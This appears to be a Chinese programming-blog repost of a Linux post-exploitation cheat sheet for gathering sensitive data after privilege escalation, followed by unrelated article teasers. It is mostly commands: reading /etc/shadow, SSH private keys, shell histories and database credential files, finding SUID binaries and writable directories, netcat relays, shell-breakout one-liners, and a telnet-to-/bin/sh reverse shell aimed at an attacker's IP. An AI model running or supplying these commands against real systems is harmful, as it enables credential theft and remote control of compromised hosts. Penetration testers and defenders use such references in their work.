当前位置: 首页 > 编程日记 > 正文

awk linux 获取端口号_Linux提权后获取敏感信息命令

如果不能执行的可能是不同类型的linux。

系统版本?

cat /etc/issue

cat /etc/*-release

cat /etc/lsb-release

cat /etc/redhat-release

内核版本?

cat /proc/version

uname -a

uname -mrs

rpm -q kernel

dmesg | grep Linux

ls /boot | grep vmlinuz

环境变量?

cat /etc/profile

cat /etc/bashrc

cat ~/.bash_profile

cat ~/.bashrc

cat ~/.bash_logout

env

set

打印机?

lpstat -a

正在运行什么服务?具有什么用户权限?

ps aux

ps -ef

top

cat /etc/service

哪些服务具有root的权限?

ps aux | grep root

ps -ef | grep root

安装了哪些应用程序?他们是什么版本?

ls -alh /usr/bin/

ls -alh /sbin/

dpkg -l

rpm -qa

ls -alh /var/cache/apt/archivesO

ls -alh /var/cache/yum/

Service设置,有任何的错误配置吗?是否有任何脆弱性插件?

cat /etc/syslog.conf

cat /etc/chttp.conf

cat /etc/lighttpd.conf

cat /etc/cups/cupsd.conf

cat /etc/inetd.conf

cat /etc/apache2/apache2.conf

cat /etc/my.conf

cat /etc/httpd/conf/httpd.conf

cat /opt/lampp/etc/httpd.conf

ls -aRl /etc/ | awk ‘$1 ~ /^.*r.*/

主机上有哪些工作计划?

crontab -l

ls -alh /var/spool/cron

ls -al /etc/ | grep cron

ls -al /etc/cron*

cat /etc/cron*

cat /etc/at.allow

cat /etc/at.deny

cat /etc/cron.allow

cat /etc/cron.deny

cat /etc/crontab

cat /etc/anacrontab

cat /var/spool/cron/crontabs/root

主机上可能有哪些纯文本用户名和密码?

grep -i user [filename]

grep -i pass [filename]

grep -C 5 "password" [filename]

find . -name "*.php" -print0 | xargs -0 grep -i -n "var $password"   # Joomla

NIC(s),系统有哪些?它是连接到哪一个网络?

/sbin/ifconfig -a

cat /etc/network/interfaces

cat /etc/sysconfig/network

网络配置设置是什么?网络中有什么样的服务器?

cat /etc/resolv.conf

cat /etc/sysconfig/network

cat /etc/networks

iptables -L

hostname

dnsdomainname

其他用户主机与系统的通信?

lsof -i

lsof -i :80

grep 80 /etc/services

netstat -antup

netstat -antpx

netstat -tulpn

chkconfig --list

chkconfig --list | grep 3:on

缓存?IP和/或MAC地址?

arp -e

route

/sbin/route -nee

数据包可能嗅探吗?监听流量

# tcpdump tcp dst [ip] [port] and tcp dst [ip] [port]

tcpdump tcp dst 192.168.1.7 80 and tcp dst 10.2.2.222 21

你如何get一个shell?你如何与系统进行交互?

nc -lvp 4444    # Attacker. 输入 (命令)

nc -lvp 4445    # Attacker. 输出(结果)

telnet [atackers ip] 44444 | /bin/sh | [local ip] 44445    # 在目标系统上. 使用 攻击者的IP!

如何端口转发?(端口重定向)

# fpipe

# FPipe.exe -l [local port] -r [remote port] -s [local port] [local IP]

FPipe.exe -l 80 -r 80 -s 80 192.168.1.7

#ssh

# ssh -[L/R] [local port]:[remote ip]:[remote port] [local user]@[local ip]

ssh -L 8080:127.0.0.1:80 root@192.168.1.7    # Local Port

ssh -R 8080:127.0.0.1:80 root@192.168.1.7    # Remote Port

#mknod

# mknod backpipe p ; nc -l -p [remote port] < backpipe  | nc [local IP] [local port] >backpipe

mknod backpipe p ; nc -l -p 8080 < backpipe | nc 10.1.1.251 80 >backpipe    # Port Relay

mknod backpipe p ; nc -l -p 8080 0 & < backpipe | tee -a inflow | nc localhost 80 | tee -a outflow 1>backpipe    # Proxy (Port 80 to 8080)

mknod

backpipe p ; nc -l -p 8080 0 & < backpipe | tee -a inflow | nc

localhost 80 | tee -a outflow & 1>backpipe    # Proxy monitor (Port 80 to 8080)

本地,远程发送命令

ssh -D 127.0.0.1:9050 -N [username]@[ip]

proxychains ifconfig

你是谁?哪个id登录?谁已经登录?还有谁在这里?谁可以做什么呢?

id

who

w

last

cat /etc/passwd | cut -d:    # List of users

grep -v -E "^#" /etc/passwd | awk -F: &#039;$3 == 0 { print $1}'   # List of super users

awk -F: '($3 == "0") {print}&#039; /etc/passwd   # List of super users

cat /etc/sudoers

sudo -l

可以找到什么敏感文件?

cat /etc/passwd

cat /etc/group

cat /etc/shadow

ls -alh /var/mail/

什么有趣的文件在home/directorie(S)里?如果有权限访问

ls -ahlR /root/

ls -ahlR /home/

是否有任何密码,脚本,数据库,配置文件或日志文件?密码默认路径和位置

cat /var/apache2/config.inc

cat /var/lib/mysql/mysql/user.MYD

cat /root/anaconda-ks.cfg

用户做过什么?是否有任何密码呢?他们有没有编辑什么?

cat ~/.bash_history

cat ~/.nano_history

cat ~/.atftp_history

cat ~/.mysql_history

cat ~/.php_history

可以找到什么样的用户信息

cat ~/.bashrc

cat ~/.profile

cat /var/mail/root

cat /var/spool/mail/root

private-key 信息能否被发现?

cat ~/.ssh/authorized_keys

cat ~/.ssh/identity.pub

cat ~/.ssh/identity

cat ~/.ssh/id_rsa.pub

cat ~/.ssh/id_rsa

cat ~/.ssh/id_dsa.pub

cat ~/.ssh/id_dsa

cat /etc/ssh/ssh_config

cat /etc/ssh/sshd_config

cat /etc/ssh/ssh_host_dsa_key.pub

cat /etc/ssh/ssh_host_dsa_key

cat /etc/ssh/ssh_host_rsa_key.pub

cat /etc/ssh/ssh_host_rsa_key

cat /etc/ssh/ssh_host_key.pub

cat /etc/ssh/ssh_host_key

哪些用户可以写配置文件在/ etc /?能够重新配置服务?

ls -aRl /etc/ | awk ‘$1 ~ /^.*w.*/' 2>/dev/null     # Anyone

ls -aRl /etc/ | awk ’$1 ~ /^..w/' 2>/dev/null        # Owner

ls -aRl /etc/ | awk ‘$1 ~ /^.....w/' 2>/dev/null    # Group

ls -aRl /etc/ | awk ’;$1 ~ /w.$/' 2>/dev/null          # Other

find /etc/ -readable -type f 2>/dev/null                         # Anyone

find /etc/ -readable -type f -maxdepth 1 2>/dev/null   # Anyone

在/ var /有什么可以发现?

ls -alh /var/log

ls -alh /var/mail

ls -alh /var/spool

ls -alh /var/spool/lpd

ls -alh /var/lib/pgsql

ls -alh /var/lib/mysql

cat /var/lib/dhcp3/dhclient.leases

网站上的任何隐藏配置/文件?配置文件与数据库信息?

ls -alhR /var/www/

ls -alhR /srv/www/htdocs/

ls -alhR /usr/local/www/apache22/data/

ls -alhR /opt/lampp/htdocs/

ls -alhR /var/www/html/

有什么在日志文件里?(什么能够帮助到“本地文件包含”?)

cat /etc/httpd/logs/access_log

cat /etc/httpd/logs/access.log

cat /etc/httpd/logs/error_log

cat /etc/httpd/logs/error.log

cat /var/log/apache2/access_log

cat /var/log/apache2/access.log

cat /var/log/apache2/error_log

cat /var/log/apache2/error.log

cat /var/log/apache/access_log

cat /var/log/apache/access.log

cat /var/log/auth.log

cat /var/log/chttp.log

cat /var/log/cups/error_log

cat /var/log/dpkg.log

cat /var/log/faillog

cat /var/log/httpd/access_log

cat /var/log/httpd/access.log

cat /var/log/httpd/error_log

cat /var/log/httpd/error.log

cat /var/log/lastlog

cat /var/log/lighttpd/access.log

cat /var/log/lighttpd/error.log

cat /var/log/lighttpd/lighttpd.access.log

cat /var/log/lighttpd/lighttpd.error.log

cat /var/log/messages

cat /var/log/secure

cat /var/log/syslog

cat /var/log/wtmp

cat /var/log/xferlog

cat /var/log/yum.log

cat /var/run/utmp

cat /var/webmin/miniserv.log

cat /var/www/logs/access_log

cat /var/www/logs/access.log

ls -alh /var/lib/dhcp3/

ls -alh /var/log/postgresql/

ls -alh /var/log/proftpd/

ls -alh /var/log/samba/

如果命令限制,你可以打出哪些突破它的限制?

python -c 'import pty;pty.spawn("/bin/bash")'

echo os.system('/bin/bash')

/bin/sh -i

如何安装文件系统?

mount

df -h

是否有挂载的文件系统?

cat /etc/fstab

什么是高级Linux文件权限使用?Sticky bits, SUID 和GUID

find / -perm -1000 -type d 2>/dev/null    # Sticky bit - Only the owner of the directory or the owner of a file can delete or rename here

find / -perm -g=s -type f 2>/dev/null    # SGID (chmod 2000) - run as the  group, not the user who started it.

find / -perm -u=s -type f 2>/dev/null    # SUID (chmod 4000) - run as the  owner, not the user who started it.

find / -perm -g=s -o -perm -u=s -type f 2>/dev/null    # SGID or SUID

for i in `locate -r "bin$"`; do find $i ( -perm -4000 -o -perm -2000 ) -type f 2>/dev/null; done    #

Looks in &#039;common&#039; places: /bin, /sbin, /usr/bin, /usr/sbin,

/usr/local/bin, /usr/local/sbin and any other *bin, for SGID or SUID

(Quicker search)

#

findstarting at root (/), SGIDorSUID, not Symbolic links, only 3

folders deep, list with more detail and hideany errors (e.g. permission

denied)

find/-perm -g=s-o-perm -4000! -type l-maxdepth 3 -exec ls -ld {} ;2>/dev/null

在哪些目录可以写入和执行呢?几个“共同”的目录:/ tmp目录,/var / tmp目录/ dev /shm目录

find / -writable -type d 2>/dev/null        # world-writeable folders

find / -perm -222 -type d 2>/dev/null      # world-writeable folders

find / -perm -o+w -type d 2>/dev/null    # world-writeable folders

find / -perm -o+x -type d 2>/dev/null    # world-executable folders

find / ( -perm -o+w -perm -o+x ) -type d 2>/dev/null   # world-writeable & executable folders

Any "problem" files?可写的的,“没有使用"的文件

find / -xdev -type d ( -perm -0002 -a ! -perm -1000 ) -print   # world-writeable files

find /dir -xdev ( -nouser -o -nogroup ) -print   # Noowner files

准备和查找漏洞利用代码

安装了什么开发工具/语言/支持?

find / -name perl*

find / -name python*

find / -name gcc*

find / -name cc

如何上传文件?

find / -name wget

find / -name nc*

find / -name netcat*

find / -name tftp*

find / -name ftp

相关文章:

lemp-------3多站点访问,,访问控制,,虚拟目录

基于ip vi /etc/nginx/nginx.conf server { listen 192.168.1.142:80; server_name localhost; access_log logs/host.access.log main; location / { root /web2; index index.html index.htm index.php; } error_page 500 502 503 504 /50x.html; location /50x.html { root…

oracle统计id出现次数,oracle 统计sql

oracle 统计月平均交易次数 &#xff1a;select n_tsc_src_usr_id , floor(count(c_tsc_no)/trunc(months_between(max(d_tsc_req_time),min(d_tsc_req_time))))from tbl_tsc_basegroup by n_tsc_src_usr_idhaving months_between(max(d_tsc_req_time),min(d_tsc_req_time)) &g…

java避免使用orderby_java – Spring安全配置@Order不是唯一的例外

我试图在我的Spring Security配置中注册多个过滤器,但是我总是得到相同的异常&#xff1a;04-Nov-2015 14:35:23.792 WARNING [RMI TCP Connection(3)-127.0.0.1]org.springframework.web.context.support.AnnotationConfigWebApplicationContext.refreshException encountered…

es 启动问题

max file descriptors [4096] for elasticsearch process is too low, increase to at least [65536] vim /etc/security/limits.conf 文件末尾添加&#xff1a; mst hard nofile 65536 mst soft nofile 65536 mst是es启动用户 max virtual memory areas vm.max_map_count [65…

imrot matlab,Matlabtuxiangpipei

文件名大小更新时间Matlab图像匹配的都可以用的到做三维重建\matlabcode\examples-code\11.jpg.......................................\..........\.............\addons\rectifData.mat.......................................\..........\.............\......\shelves.jp…

mysql 5.7 full_MySQL5.7默认打开ONLY_FULL_GROUP_BY 解决方案

MySQL5.7后将sql_mode的ONLY_FULL_GROUP_BY模式默认设置为打开状态&#xff0c;这样一来&#xff0c;很多之前的sql语句可能会出现错误&#xff0c;错误信息如下&#xff1a;Error Code: 1055. Expression #3 of SELECT list is not in GROUP BY clause and contains nonaggreg…

通过web sql实现增删查改

<!DOCTYPE html><html><head lang"en"> <meta charset"UTF-8"> <title></title></head><body><h3>***添加学生***</h3>学号&#xff1a;<input type"text" id"id&qu…

java发送苹果消息慢_Spring-boot JMS 发送消息慢的解决方法

Spring-boot JMS 发送消息慢的问题解决Servicepublic class Producer {Autowiredprivate JmsMessagingTemplate jmsTemplate;public void sendMessage(Destination destination, final String message){jmsTemplate.convertAndSend(destination, message);}}经使用JMeter进行压…

快速幂 + 矩阵快速幂

快速幂 1 #include<iostream>2 #include<algorithm>3 #include<cstring>4 #define LL long long5 using namespace std;6 7 LL Pow(LL a, LL b)8 {9 LL ans 1; 10 while(b ! 0){ 11 if(b&1) 12 ans * a; 13 a …

【Ctsc2011】幸福路径

题目链接&#xff1a;http://www.lydsy.com/JudgeOnline/problem.php?id2306 给定一张有向图&#xff0c;每个点有权值&#xff0c;蚂蚁从某个节点出发&#xff0c;初始体力值为$1$&#xff0c;每走一条边$体力值*p$&#xff0c;每经过一个点会获得幸福值为$点权*体力值$&…

mysql 去重con_python 爬虫 实现增量去重和定时爬取实例

前言&#xff1a; 在爬虫过程中&#xff0c;我们可能需要重复的爬取同一个网站&#xff0c;为了避免重复的数据存入我们的数据库中 通过实现增量去重 去解决这一问题 本文还针对了那些需要实时更新的网站 增加了一个定时爬取的功能&#xff1b;本文作者同开源中国(殊途同归_)&a…

oracle数据导出方法,oracle多种导入导出数据方法

dmp格式:1.dmp格式的导出可以通过客户端工具(PL/SQL)操作来完成,通过菜单栏---->Tools---->Export Tables&#xff0c;然后设置勾选相应参数即可,rows代表是否连同数据一起导出2.导出还可以用cmd工具,速度也更快:exp [email protected] filed:\***.dmp fullyfully表示全导…

java 枚举转byte_如何在java中将一个枚举转换为另一个枚举?

一种方法是在您的详细枚举中定义一个方法asSimple()&#xff1a;public enum Detailed {PASSED {OverrideSimple asSimple() {return PASSED;}},INPROCESS {OverrideSimple asSimple() {return RUNNING;}},ERROR1,ERROR2,ERROR3;public Simple asSimple() {return Simple.ERROR…

BZOJ4566: [Haoi2016]找相同字符

BZOJ4566: [Haoi2016]找相同字符 Description 给定两个字符串&#xff0c;求出在两个字符串中各取出一个子串使得这两个子串相同的方案数。两个方案不同当且仅当这两个子串中有一个位置不同。Input 两行&#xff0c;两个字符串s1&#xff0c;s2&#xff0c;长度分别为n1&#x…

mysql索引空间太大_MySQL优化索引

1. MySQL如何使用索引索引用于快速查找具有特定列值的行。如果没有索引&#xff0c;MySQL必须从第一行开始&#xff0c;然后遍历整个表以找到相关的行。表越大&#xff0c;花费越多。如果表中有相关列的索引&#xff0c;MySQL可以快速确定要在数据文件中间查找的位置&#xff…

Mac-sublime text 3破解版

在史蒂芬周下载破解版安装package controlimport urllib.request,os,hashlib; h df21e130d211cfc94d9b0905775a7c0f 1e3d39e33b79698005270310898eea76; pf Package Control.sublime-package; ipp sublime.installed_packages_path(); urllib.request.install_opener( urll…

oracle library cache lock,【案例】Oracle等待事件library cache lock产生原因和解决办法...

【案例】Oracle等待事件library cache lock产生原因和解决办法时间:2016-12-07 18:56 来源:Oracle研究中心 作者:网络 点击:次天萃荷净Oracle研究中心案例分析&#xff1a;运维DBA发现Oracle数据库出现library cache lock等待事件导致cpu使用非常高&#xff0c;结合案例来…

python uiautomation选择list内容_使用python UIAutomation从QQ2017(v8.9)群界面获取所有群成员详细资料,...

首先安装pip install uiautomation, 再运行本文代码。或者下载https://github.com/yinkaisheng/Python-UIAutomation-for-Windows代码(包含了uiautomation module)&#xff0c;直接运行demos目录里的脚本get_qq_group_members.pyuiautomation.py是我写的一个python封装微软UIAu…

【BZOJ】2734: [HNOI2012]集合选数

题目链接&#xff1a;http://www.lydsy.com/JudgeOnline/problem.php?id2734 考虑$N4$的情况&#xff1a; \begin{bmatrix} 1&3 &X \\ 2&X &X \\ 4&X &X \end{bmatrix} 其实就是吧最小值丢在了矩阵中${(0,0)}$的位置上&#xff0c;对于矩阵中的任意…

Linux命令:tar命令批量解压方法总结

tar命令批量解压方法总结 (2010-05-24 17:48:46) 转载▼标签&#xff1a; tar 批量解压 杂谈 分类&#xff1a; linux学习 由于linux的tar命令不支持批量解压&#xff0c;所以很多网友编写了好多支持批量解压的shell命令&#xff0c;收集了一下&#xff0c;供大家分享&#xff…

php column not found,java.sql.SQLException: Column 'cloumn name' not found.

Hi,My system configuration:Mandrake 9.0 Tomcat 4.1.24 MySQL 4.0.12. Apache[問題]我有一隻Servlet app. 如果 Tomcat MySQL APache IBM JDK 1.3 or SUN JDK 1.4.1_02在一開機時就起動. 我在http://localhost:8080/servlet/myApp 是可以看到Servlet run 起來. 可是如…

批量新建文件夹并命名_dos命令实现批量新建文件夹

1、批量新建文件夹&#xff08;使用命令&#xff1a;MD&#xff09;实现案例&#xff1a;假如我们要新建10个文件夹&#xff0c;这10个文件夹的名称分别是数字1-10来命名。以下详细步骤&#xff1a;1&#xff09;在excel表里面把需要批量新建的文件夹名字放到一列&#xff08;假…

java去掉mongodb日志_如何禁用mongoDB java驱动程序日志记录?

我试图禁用mongo-java-driver-3.0.0的日志输出.我试图在我的应用程序开始之前设置它们,然后加载mongo驱动程序,但它没有帮助.// Enable MongoDB logging in generalSystem.setProperty("DEBUG.MONGO", "false");// Enable DB operation tracingSystem.setP…

5793. 【NOIP2008模拟】小S练跑步

Description 小S是一个爱锻炼的孩子&#xff0c;他在放假期间坚持在A公园练习跑步。但不久后&#xff0c;他就开始为在重复的地点练习感到厌烦了&#xff0c;他就打算去B公园跑步。但是小S由于没有去过B公园&#xff0c;他不知道B公园是否适合练习跑步&#xff0c;又不知道在B公…

spring访问oracle数据库表,Spring访问oracle数据库配置步骤

1.spring 对数据库访问的支持当我们开发持久层的时候&#xff0c;我们面临着多种选择&#xff0c;比如使用JDBC、Hibernate、java持久化API或其它持久化框架。幸好的是spring能够支持所有这些持久化机制。DAO(data access boject)数据访问对象&#xff0c;这个名字就很形象描述…

wamp的mysql单独使用_Windows 7+8.1+10 单独安装配置 PHP+Apache+MySQL(不使用 WAMP)

Windows 8.1 单独安装配置 PHPApacheMySQL(不使用 WAMP)本文同样适用于Windows7和100x00 PHP【下载】http://www.doczj.com/doc/b3aef488f18583d048645937.html/downloads.php注&#xff1a;选择线程安全的版本&#xff0c;留意 VC 支持库的版本&#xff0c;9、11、14 分别对应…

【bzoj3209】 花神的数论题

http://www.lydsy.com/JudgeOnline/problem.php?id3209 (题目链接) 题意 ${sum(i)}$表示${i}$的二进制表示中${1}$的个数。求${\prod^n sum(i)}$ Solution ${f_{i,s}}$表示dp到第${i}$位&#xff0c;已经有${s}$个${1}$时的乘积。然后一路dfs就可以了。 细节 LL&#xff0c;返…

html 复选框 mysql_Html:实现带复选框的下拉框(一)

概述项目中要用到可多选的下拉框(select)&#xff0c;发现HTML中无此控件&#xff0c;故手动模拟实现一下。模拟所用元素&#xff1a;input&#xff0c;ul&#xff0c;li代码模拟实现带复选框的下拉列表body{margin: 20px;}input{width: 150px;height: 30px;}ul{display: none;…

oracle date 转换 timestamp,Oracle timestamp类型转换成date类型

今天需要根据时间判断&#xff0c;统一修改某一个字段的数据。然后打开数据库发现&#xff0c;时间类型为timestamp类型。如下&#xff1a;然后呢&#xff0c;这对我不是喝口水就可以解决的问题吗&#xff1f;解决方案如下&#xff1a;我需要改这张表某个字段的内容&#xff0c…

项目微管理29 - 转正

说起来&#xff0c;考核其实是一类活动的统称了&#xff0c;中国的历史上也由来已久&#xff0c;大家非常熟悉的各种选拔人才的制度中非常关键的一项就是“考核”&#xff0c;还有现在大家熟知的“考试”、“考证”、“考评”&#xff0c;其实都是属于这个范畴&#xff0c;它们…